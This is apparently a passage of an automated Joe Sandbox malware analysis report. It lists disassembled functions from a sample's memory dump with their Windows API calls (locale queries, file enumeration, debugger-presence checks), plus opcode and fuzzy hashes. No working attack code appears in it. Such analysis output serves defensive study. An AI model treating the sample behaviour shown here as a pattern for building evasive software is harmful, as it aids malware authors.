                                                              • Associated: 00000000.00000002.1726564750.00000000006C9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1727182876.0000000000906000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_690000_file.jbxd
                                                              Similarity
                                                              • API ID: CreateObjectSingleThreadWait
                                                              • String ID:
                                                              • API String ID: 1891408510-0
                                                              • Opcode ID: bf8fb5f8b5965352e6d142f01a7bdbb63aa1187bd18c8b5537ce369bba96ad20
                                                              • Instruction ID: fa0e2f9eb4436aab6d3d84068413e197faa8e6c0550fbb8221a30f638ff6ea4e
                                                              • Opcode Fuzzy Hash: bf8fb5f8b5965352e6d142f01a7bdbb63aa1187bd18c8b5537ce369bba96ad20
                                                              • Instruction Fuzzy Hash: 7BC092F0904211FEFF006BB45C0DC37361EE6013393111B007C71D21E0DD658D409634
                                                              Function 0069B01E Relevance: 1.6, APIs: 1, Instructions: 108COMMON
                                                              Download Yara Rule
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1726504410.0000000000691000.00000020.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true
                                                              • Associated: 00000000.00000002.1726488875.0000000000690000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726550503.00000000006BC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726564750.00000000006C9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1727182876.0000000000906000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_690000_file.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: 917d9b4a315a1172d480dfdd021d5089b7822a93f70446fe368b6dd85e81ed72
                                                              • Instruction ID: eaf3634958b897d5b1afa7994d94af092f1cb2e3b1a3c920e91983c8bd2c8be4
                                                              • Opcode Fuzzy Hash: 917d9b4a315a1172d480dfdd021d5089b7822a93f70446fe368b6dd85e81ed72
                                                              • Instruction Fuzzy Hash: 5C31853290410AAFCF14CF68D9949EEB7BEBF19310F14526AE511A3B90D731E944CBA0
                                                              Function 00696CCB Relevance: 1.6, APIs: 1, Instructions: 86COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • _Deallocate.LIBCONCRT ref: 00696D96
                                                                • Part of subcall function 00693136: _strlen.LIBCMT ref: 0069314E
                                                                • Part of subcall function 00691C54: __EH_prolog3_catch.LIBCMT ref: 00691C5B
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1726504410.0000000000691000.00000020.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true
                                                              • Associated: 00000000.00000002.1726488875.0000000000690000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726550503.00000000006BC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726564750.00000000006C9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1727182876.0000000000906000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_690000_file.jbxd
                                                              Similarity
                                                              • API ID: DeallocateH_prolog3_catch_strlen
                                                              • String ID:
                                                              • API String ID: 3043132973-0
                                                              • Opcode ID: aa6a6eaa7c52283b04f4fe84ea1a3dadb07f32e4a3dca53ddaa2d847a18d1304
                                                              • Instruction ID: a7ad3bae6b3d515e8d9b17374de81056e20699d5aa096c212325916a0f4f4abb
                                                              • Opcode Fuzzy Hash: aa6a6eaa7c52283b04f4fe84ea1a3dadb07f32e4a3dca53ddaa2d847a18d1304
                                                              • Instruction Fuzzy Hash: 6B21E131F003189ACF04EF78D8819EDB7BEAF08720B24512DF421F7681DA655D858B64
                                                              Function 0069A63A Relevance: 1.6, APIs: 1, Instructions: 66COMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 0069A59B: GetModuleHandleExW.KERNEL32(00000002,00000000,?,?,?,0069A5ED,00000000,?,0069A62E,00000000,?,00696444,00000000), ref: 0069A5A7
                                                              • FreeLibraryWhenCallbackReturns.KERNEL32(?,00000000,D6EB77FD,?,?,?,006BB3CE,000000FF), ref: 0069A6A1
                                                                • Part of subcall function 006982EE: std::_Throw_Cpp_error.LIBCPMT ref: 0069830F
                                                                • Part of subcall function 00699774: ReleaseSRWLockExclusive.KERNEL32(006959A0,?,006959A8,?,?,?,?,?,?,?,?,?,?,?,?,006913D2), ref: 00699788
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1726504410.0000000000691000.00000020.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true
                                                              • Associated: 00000000.00000002.1726488875.0000000000690000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726550503.00000000006BC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726564750.00000000006C9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1727182876.0000000000906000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_690000_file.jbxd
                                                              Similarity
                                                              • API ID: CallbackCpp_errorExclusiveFreeHandleLibraryLockModuleReleaseReturnsThrow_Whenstd::_
                                                              • String ID:
                                                              • API String ID: 3627539351-0
                                                              • Opcode ID: 536baaccccb3150f5c241aa3c268fd3fae824350964a8edc72a182bd3262f116
                                                              • Instruction ID: 73d4f6dffe09af81ad53ac6b0b72a50565bb24ab5aaf7b05dfbf16a9cea9ba72
                                                              • Opcode Fuzzy Hash: 536baaccccb3150f5c241aa3c268fd3fae824350964a8edc72a182bd3262f116
                                                              • Instruction Fuzzy Hash: AC112672604A109FCF212FA8DC05A7E77EFEB45720B15441EF805DBA91CF21D900CAD9
                                                              Function 006AD34A Relevance: 1.6, APIs: 1, Instructions: 57COMMONLIBRARYCODE
                                                              Download Yara Rule
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1726504410.0000000000691000.00000020.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true
                                                              • Associated: 00000000.00000002.1726488875.0000000000690000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726550503.00000000006BC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726564750.00000000006C9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1727182876.0000000000906000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_690000_file.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: 8e00dfeed2fbac9d6ce086be1b48e154a1383596b91407b0167d5552e7a7302b
                                                              • Instruction ID: ca1efaf729e1e40a6f25a86fb713cd0f97751596e54ce48485810b02aac8e8e4
                                                              • Opcode Fuzzy Hash: 8e00dfeed2fbac9d6ce086be1b48e154a1383596b91407b0167d5552e7a7302b
                                                              • Instruction Fuzzy Hash: B9012D33714221AFDF11BE2DEC40A9E3797AB833303158124F916CB564DA31DD059B91
                                                              Function 00692925 Relevance: 1.5, APIs: 1, Instructions: 42COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • std::_Throw_Cpp_error.LIBCPMT ref: 0069297A
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1726504410.0000000000691000.00000020.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true
                                                              • Associated: 00000000.00000002.1726488875.0000000000690000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726550503.00000000006BC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726564750.00000000006C9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1727182876.0000000000906000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_690000_file.jbxd
                                                              Similarity
                                                              • API ID: Cpp_errorThrow_std::_
                                                              • String ID:
                                                              • API String ID: 2134207285-0
                                                              • Opcode ID: 5987e897e4497ee8d7217fc401e89b55f21d239b55af3fca224d2b67d398a060
                                                              • Instruction ID: 10b3a925886c74fa9769bf7b40d1a4b1c19bf2f6a409980f7a495b9b05743bfd
                                                              • Opcode Fuzzy Hash: 5987e897e4497ee8d7217fc401e89b55f21d239b55af3fca224d2b67d398a060
                                                              • Instruction Fuzzy Hash: E1F024B220530B7FDB50AE11EC01E6BBB9DDB523A4F10041EF20456552DA32A814C7B4
                                                              Function 006ADBB9 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE
                                                              Download Yara Rule
                                                              APIs
                                                              • RtlAllocateHeap.NTDLL(00000000,00698B9B,?,?,0069E744,?,?,?,?,?,0069379B,00698B9B,?,?,?,?), ref: 006ADBEB
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1726504410.0000000000691000.00000020.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true
                                                              • Associated: 00000000.00000002.1726488875.0000000000690000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726550503.00000000006BC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726564750.00000000006C9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1727182876.0000000000906000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_690000_file.jbxd
                                                              Similarity
                                                              • API ID: AllocateHeap
                                                              • String ID:
                                                              • API String ID: 1279760036-0
                                                              • Opcode ID: 8b556fa337fb4671852e4a0e806c5b6cda3c614f2c360da7ed27e5b0b95df11d
                                                              • Instruction ID: 03ad647449b6ab7612125b9a7c798fbfb28e42806ff7ccef6dbd45bdf213d7ad
                                                              • Opcode Fuzzy Hash: 8b556fa337fb4671852e4a0e806c5b6cda3c614f2c360da7ed27e5b0b95df11d
                                                              • Instruction Fuzzy Hash: B1E0EDB5108222ABE7213A6A9C04BAB375FEF477B0F160161BC8792A91CF60DC018DB5
                                                              Function 00694B30 Relevance: 1.5, APIs: 1, Instructions: 17COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1726504410.0000000000691000.00000020.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true
                                                              • Associated: 00000000.00000002.1726488875.0000000000690000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726550503.00000000006BC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726564750.00000000006C9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1727182876.0000000000906000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_690000_file.jbxd
                                                              Similarity
                                                              • API ID: H_prolog3_catch
                                                              • String ID:
                                                              • API String ID: 3886170330-0
                                                              • Opcode ID: 8650ea4e97ce93eaba4e49216ef0fe1980f068629d0de11a81d5a1bacaecf4f8
                                                              • Instruction ID: fbd66519bf86f371b45090e162a01513e3c83f97b532d667f4c6382f5615a7bc
                                                              • Opcode Fuzzy Hash: 8650ea4e97ce93eaba4e49216ef0fe1980f068629d0de11a81d5a1bacaecf4f8
                                                              • Instruction Fuzzy Hash: 0DE08C709102148BDF84EFA0C542BEDB6BEBB40B20FA0022CB151A75C1CF701B4487AA

                                                              Non-executed Functions

                                                              Function 006B6C73 Relevance: 10.2, APIs: 1, Strings: 4, Instructions: 1436COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1726504410.0000000000691000.00000020.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true
                                                              • Associated: 00000000.00000002.1726488875.0000000000690000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726550503.00000000006BC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726564750.00000000006C9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1727182876.0000000000906000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_690000_file.jbxd
                                                              Similarity
                                                              • API ID: __floor_pentium4
                                                              • String ID: 1#IND$1#INF$1#QNAN$1#SNAN
                                                              • API String ID: 4168288129-2761157908
                                                              • Opcode ID: a26c108d4fef43c02348253caaaaa6ab55fc932daf0b02f38fb93278220988e6
                                                              • Instruction ID: 90214c606b22a3d27ab1d58a8cc3e4bf0229de6e3c37b60dc467c4dd5e97bd15
                                                              • Opcode Fuzzy Hash: a26c108d4fef43c02348253caaaaa6ab55fc932daf0b02f38fb93278220988e6
                                                              • Instruction Fuzzy Hash: 16D22DB1E082298FDB65DE28DD407EAB7BAEB85344F1445EAD40DE7240E774AEC58F40
                                                              Function 006B5C8E Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMONLIBRARYCODE
                                                              Download Yara Rule
                                                              APIs
                                                              • GetLocaleInfoW.KERNEL32(?,2000000B,006B5FAC,00000002,00000000,?,?,?,006B5FAC,?,00000000), ref: 006B5D27
                                                              • GetLocaleInfoW.KERNEL32(?,20001004,006B5FAC,00000002,00000000,?,?,?,006B5FAC,?,00000000), ref: 006B5D50
                                                              • GetACP.KERNEL32(?,?,006B5FAC,?,00000000), ref: 006B5D65
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1726504410.0000000000691000.00000020.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true
                                                              • Associated: 00000000.00000002.1726488875.0000000000690000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726550503.00000000006BC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726564750.00000000006C9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1727182876.0000000000906000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_690000_file.jbxd
                                                              Similarity
                                                              • API ID: InfoLocale
                                                              • String ID: ACP$OCP
                                                              • API String ID: 2299586839-711371036
                                                              • Opcode ID: a218de4de460be1951d2bd81db9f3cc19a07f09dda86c19368410d06eb255821
                                                              • Instruction ID: a94444f9bc202a98dd3e0c7daeb7cbc37d498116eea0239f351ec0d6dc746249
                                                              • Opcode Fuzzy Hash: a218de4de460be1951d2bd81db9f3cc19a07f09dda86c19368410d06eb255821
                                                              • Instruction Fuzzy Hash: 8D21C7A2A40A0596E7309F55C809BD777A7EF50B60B568668E90BD7300E732DDC2C754
                                                              Function 006B5E63 Relevance: 7.7, APIs: 5, Instructions: 183COMMONLIBRARYCODE
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 006AB350: GetLastError.KERNEL32(?,?,006A56D4,006C77F0,0000000C), ref: 006AB354
                                                                • Part of subcall function 006AB350: SetLastError.KERNEL32(00000000), ref: 006AB3F6
                                                              • GetUserDefaultLCID.KERNEL32(?,?,?,00000055,?), ref: 006B5F6F
                                                              • IsValidCodePage.KERNEL32(00000000), ref: 006B5FB8
                                                              • IsValidLocale.KERNEL32(?,00000001), ref: 006B5FC7
                                                              • GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 006B600F
                                                              • GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 006B602E
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1726504410.0000000000691000.00000020.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true
                                                              • Associated: 00000000.00000002.1726488875.0000000000690000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726550503.00000000006BC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726564750.00000000006C9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1727182876.0000000000906000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_690000_file.jbxd
                                                              Similarity
                                                              • API ID: Locale$ErrorInfoLastValid$CodeDefaultPageUser
                                                              • String ID:
                                                              • API String ID: 415426439-0
                                                              • Opcode ID: 17407339d940a988bffe2c4b1c3bed0c4211e94f99094b9d63b51abb34f1fd1d
                                                              • Instruction ID: 058d18d45c45618ac3dbd9bb9efa61ae9b4541fa133f28a6da8bdfa084de1ea8
                                                              • Opcode Fuzzy Hash: 17407339d940a988bffe2c4b1c3bed0c4211e94f99094b9d63b51abb34f1fd1d
                                                              • Instruction Fuzzy Hash: 7F5171B1900605AFEF50DFA5DC41BFAB7BEAF08700F144569F512E7291EB70DA818B61
                                                              Function 006B54FF Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 251COMMONLIBRARYCODE
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 006AB350: GetLastError.KERNEL32(?,?,006A56D4,006C77F0,0000000C), ref: 006AB354
                                                                • Part of subcall function 006AB350: SetLastError.KERNEL32(00000000), ref: 006AB3F6
                                                              • GetACP.KERNEL32(?,?,?,?,?,?,006A9EF0,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 006B55C0
                                                              • IsValidCodePage.KERNEL32(00000000,?,?,?,?,?,?,006A9EF0,?,?,?,00000055,?,-00000050,?,?), ref: 006B55EB
                                                              • GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,-00000050,00000000,000000D0), ref: 006B574E
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1726504410.0000000000691000.00000020.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true
                                                              • Associated: 00000000.00000002.1726488875.0000000000690000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726550503.00000000006BC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726564750.00000000006C9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1727182876.0000000000906000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_690000_file.jbxd
                                                              Similarity
                                                              • API ID: ErrorLast$CodeInfoLocalePageValid
                                                              • String ID: utf8
                                                              • API String ID: 607553120-905460609
                                                              • Opcode ID: 5734aaa9f7ea86ade7c0c10350ca6eaaf27a791e05849eeda79503e6b2985a68
                                                              • Instruction ID: 03f2f23f177fb4c5ae6eb79ff7753df76f5ad948964b4433279763689d4bba08
                                                              • Opcode Fuzzy Hash: 5734aaa9f7ea86ade7c0c10350ca6eaaf27a791e05849eeda79503e6b2985a68
                                                              • Instruction Fuzzy Hash: 7571D6F2600A06AADB24AB75CC46BE673ABEF45710F14402DF507D7292FA74EDC18764
                                                              Function 006ADD0C Relevance: 6.3, APIs: 4, Instructions: 337COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1726504410.0000000000691000.00000020.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true
                                                              • Associated: 00000000.00000002.1726488875.0000000000690000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726550503.00000000006BC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726564750.00000000006C9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1727182876.0000000000906000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_690000_file.jbxd
                                                              Similarity
                                                              • API ID: _strrchr
                                                              • String ID:
                                                              • API String ID: 3213747228-0
                                                              • Opcode ID: 75b648e633f190c86c236c7fc6c97fed487f58425f7dd828c5b9198bf3fd1d21
                                                              • Instruction ID: aef860b430b7be8108d3f9d25070820b09935f2daafac1bd917efc6261b057ed
                                                              • Opcode Fuzzy Hash: 75b648e633f190c86c236c7fc6c97fed487f58425f7dd828c5b9198bf3fd1d21
                                                              • Instruction Fuzzy Hash: B4B169729042459FDF15AF68C881BFEBBF6EF56300F1581AAE812AB741D2359D01CF61
                                                              Function 006B27B0 Relevance: 6.2, APIs: 4, Instructions: 206fileCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • FindFirstFileExW.KERNEL32(?,00000000,?,00000000,00000000,00000000), ref: 006B28A0
                                                              • FindNextFileW.KERNEL32(00000000,?), ref: 006B2994
                                                              • FindClose.KERNEL32(00000000), ref: 006B29D3
                                                              • FindClose.KERNEL32(00000000), ref: 006B2A06
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1726504410.0000000000691000.00000020.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true
                                                              • Associated: 00000000.00000002.1726488875.0000000000690000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726550503.00000000006BC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726564750.00000000006C9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1727182876.0000000000906000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_690000_file.jbxd
                                                              Similarity
                                                              • API ID: Find$CloseFile$FirstNext
                                                              • String ID:
                                                              • API String ID: 1164774033-0
                                                              • Opcode ID: 5cd1e859925f8b7ef1a02973039ae948db9fdb6249cf978efaec94cdaa2220b2
                                                              • Instruction ID: 2982fc5d70325f9263d53f9c0abc0dbb263d0eb897826b4494ea68295602c300
                                                              • Opcode Fuzzy Hash: 5cd1e859925f8b7ef1a02973039ae948db9fdb6249cf978efaec94cdaa2220b2
                                                              • Instruction Fuzzy Hash: 3571D2F1D0515A5FDF21AF28CCA9AEEB7FAAB09300F1441E9E04CA7251EA314EC59F54
                                                              Function 0069DA85 Relevance: 6.1, APIs: 4, Instructions: 70COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 0069DA91
                                                              • IsDebuggerPresent.KERNEL32 ref: 0069DB5D
                                                              • SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0069DB76
                                                              • UnhandledExceptionFilter.KERNEL32(?), ref: 0069DB80
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1726504410.0000000000691000.00000020.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true
                                                              • Associated: 00000000.00000002.1726488875.0000000000690000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726550503.00000000006BC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726564750.00000000006C9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1727182876.0000000000906000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_690000_file.jbxd
                                                              Similarity
                                                              • API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
                                                              • String ID:
                                                              • API String ID: 254469556-0
                                                              • Opcode ID: 6a300f9e9d2e299e94503e74d443499ceabb4f45dcdc6f8d30d29b899cfe8d3d
                                                              • Instruction ID: 927778d5c6cbd50cd5db6fcb5235e2a3b4c96e56558cb1ae89dae736fe617eac
                                                              • Opcode Fuzzy Hash: 6a300f9e9d2e299e94503e74d443499ceabb4f45dcdc6f8d30d29b899cfe8d3d
                                                              • Instruction Fuzzy Hash: C03106B5D05218DBDF20EFA4D949BCDBBB8AF48304F1041AAE40CAB250EB719B84CF45
                                                              Function 006946F6 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 208COMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 006914FB: __EH_prolog3_catch.LIBCMT ref: 00691502
                                                                • Part of subcall function 006914FB: _strlen.LIBCMT ref: 00691514
                                                              • OffsetRect.USER32(00000000,00000000,00000000), ref: 006947F9
                                                                • Part of subcall function 00693DE6: __EH_prolog3_catch.LIBCMT ref: 00693DED
                                                                • Part of subcall function 006968AD: _Deallocate.LIBCONCRT ref: 006968BC
                                                              • _Deallocate.LIBCONCRT ref: 006948F1
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1726504410.0000000000691000.00000020.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true
                                                              • Associated: 00000000.00000002.1726488875.0000000000690000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726550503.00000000006BC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726564750.00000000006C9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1727182876.0000000000906000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_690000_file.jbxd
                                                              Similarity
                                                              • API ID: DeallocateH_prolog3_catch$OffsetRect_strlen
                                                              • String ID: Zatlat
                                                              • API String ID: 4231566263-916143747
                                                              • Opcode ID: e2f9b68023d1f1aec5f9e81a0848ea49848b510ee84f64d68fc9d22befca61d2
                                                              • Instruction ID: cba2963dc664398619fb41d90e0a4f8dfb67fac641f2ba3acf93b90fa0ff7e71
                                                              • Opcode Fuzzy Hash: e2f9b68023d1f1aec5f9e81a0848ea49848b510ee84f64d68fc9d22befca61d2
                                                              • Instruction Fuzzy Hash: 9D71007150C3419FCB54EF68D891A6FBBE9AF89304F10092EF8D5C7682DA34D9098B5A
                                                              Function 006B5912 Relevance: 4.7, APIs: 3, Instructions: 205COMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 006AB350: GetLastError.KERNEL32(?,?,006A56D4,006C77F0,0000000C), ref: 006AB354
                                                                • Part of subcall function 006AB350: SetLastError.KERNEL32(00000000), ref: 006AB3F6
                                                              • GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 006B5966
                                                              • GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 006B59B0
                                                              • GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 006B5A76
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1726504410.0000000000691000.00000020.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true
                                                              • Associated: 00000000.00000002.1726488875.0000000000690000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726550503.00000000006BC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726564750.00000000006C9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1727182876.0000000000906000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_690000_file.jbxd
                                                              Similarity
                                                              • API ID: InfoLocale$ErrorLast
                                                              • String ID:
                                                              • API String ID: 661929714-0
                                                              • Opcode ID: 03f9a80bcc21929deac40ca2bdb3d88dba233e18e390fb51703dea360c4c43bc
                                                              • Instruction ID: 34e28e83ab84f6b4b2a58af721db435a4af55ea8efa628331240ea7821f3dbea
                                                              • Opcode Fuzzy Hash: 03f9a80bcc21929deac40ca2bdb3d88dba233e18e390fb51703dea360c4c43bc
                                                              • Instruction Fuzzy Hash: AC61A0B1510A179FDB689F28CCD2BEAB7AAEF04300F144179E906D6285EB34DED1CB54
                                                              Function 006A1A53 Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE
                                                              Download Yara Rule
                                                              APIs
                                                              • IsDebuggerPresent.KERNEL32(?,?,?,?,?,00000000), ref: 006A1B4B
                                                              • SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 006A1B55
                                                              • UnhandledExceptionFilter.KERNEL32(-00000327,?,?,?,?,?,00000000), ref: 006A1B62
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1726504410.0000000000691000.00000020.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true
                                                              • Associated: 00000000.00000002.1726488875.0000000000690000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726550503.00000000006BC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726564750.00000000006C9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1727182876.0000000000906000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_690000_file.jbxd
                                                              Similarity
                                                              • API ID: ExceptionFilterUnhandled$DebuggerPresent
                                                              • String ID:
                                                              • API String ID: 3906539128-0
